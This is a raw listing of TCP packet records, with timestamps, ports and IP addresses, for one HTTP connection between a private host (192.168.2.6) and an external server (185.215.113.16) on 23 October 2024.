Oct 23, 2024 17:51:46.517254114 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517263889 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517290115 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517299891 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517334938 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517343044 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517379999 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517395020 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517416000 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517426014 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517452002 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517462015 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517486095 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517498970 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517525911 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517529964 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517565966 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517575979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517602921 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517607927 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517640114 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517647028 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517683983 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517693996 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517728090 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517755985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517765999 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517781973 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517816067 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517829895 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517852068 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517862082 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517884970 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517899990 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517920971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517934084 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517955065 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517970085 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.517991066 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.517997980 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518026114 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518042088 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518073082 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518079042 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518127918 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518131971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518168926 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518176079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518198967 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518212080 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518240929 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518258095 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518292904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518301964 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518328905 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518336058 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518363953 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518376112 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518377066 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518399954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518408060 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518435955 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518445015 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518471003 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518487930 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518506050 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518518925 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518539906 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518558979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518573999 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518589020 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518610001 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518623114 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518661976 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518665075 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518699884 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518718004 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518733978 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518743992 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518768072 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518779039 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518804073 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518812895 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518837929 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518851995 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518877983 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518887997 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518912077 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518925905 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518945932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.518964052 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.518980980 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519010067 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519013882 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519038916 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519048929 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519061089 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519083977 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519093990 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519118071 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519130945 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519153118 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519169092 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519186974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519193888 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519222021 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519232035 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519256115 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519268990 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519292116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519331932 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519340992 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519368887 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519403934 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519427061 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519439936 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519454002 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519474030 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519489050 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519510031 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519520998 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519545078 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519555092 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519579887 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519589901 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519614935 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519630909 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519649982 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519664049 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519686937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519701004 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519717932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519740105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519753933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519768000 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519789934 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519799948 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519828081 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519835949 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519864082 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519871950 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519897938 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519915104 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519932985 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519961119 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.519969940 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.519980907 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.520015955 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.529714108 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529767036 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.529797077 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529810905 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529824972 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529838085 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529853106 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529865980 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529889107 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.529890060 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529889107 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.529901981 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529910088 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.529915094 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529927969 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529933929 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.529949903 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529959917 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.529963017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529977083 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529987097 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.529989958 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.529998064 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530004025 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530014038 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530025005 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530030012 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530039072 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530051947 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530062914 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530062914 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530072927 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530085087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530097961 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530103922 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530105114 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530117989 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530128956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530138016 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530143976 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530152082 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530157089 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530169010 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530184984 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530211926 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530282974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530294895 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530306101 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530318022 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530325890 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530328989 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530342102 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530353069 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530354023 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530373096 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530385971 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530386925 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530397892 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530399084 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530411005 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530422926 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530430079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530436993 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530447960 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530459881 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530472994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530488014 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530498981 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530498981 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530498981 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530502081 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530514956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530519962 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530538082 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530566931 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530602932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530647993 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530746937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530760050 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530774117 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530786991 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530787945 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530805111 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530807972 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530821085 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530826092 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530836105 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530853987 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530857086 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530869961 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530879974 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530883074 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530896902 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530909061 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530910969 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530922890 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530929089 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530936003 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530947924 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530952930 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.530963898 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530971050 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.530986071 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.532855034 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.635663986 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.635736942 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.635819912 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.635857105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.678736925 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678755999 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678777933 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678792000 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678807020 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678818941 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678828955 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678842068 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678855896 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678867102 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678874016 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.678908110 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.678910017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678922892 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.678946018 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.678972960 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.678997993 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679017067 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679028988 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679042101 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679054976 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679065943 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679076910 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679076910 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679105043 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679114103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679119110 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679126978 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679138899 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679150105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679155111 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679166079 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679166079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679177046 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679184914 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679199934 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679233074 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679261923 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679305077 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679382086 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679393053 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679404974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679419041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679430008 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679430008 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679456949 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679474115 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679600954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679613113 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679625034 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679646015 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679660082 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679661989 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679680109 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679692984 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679702997 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679703951 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679716110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679727077 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679735899 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679768085 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679775953 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679789066 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679824114 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679836035 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679842949 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679848909 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679861069 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679872990 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679886103 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679912090 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.679964066 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679976940 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.679986954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680011034 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680022955 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680099964 CEST	80	49900	185.215.113.16	192.168.2.6
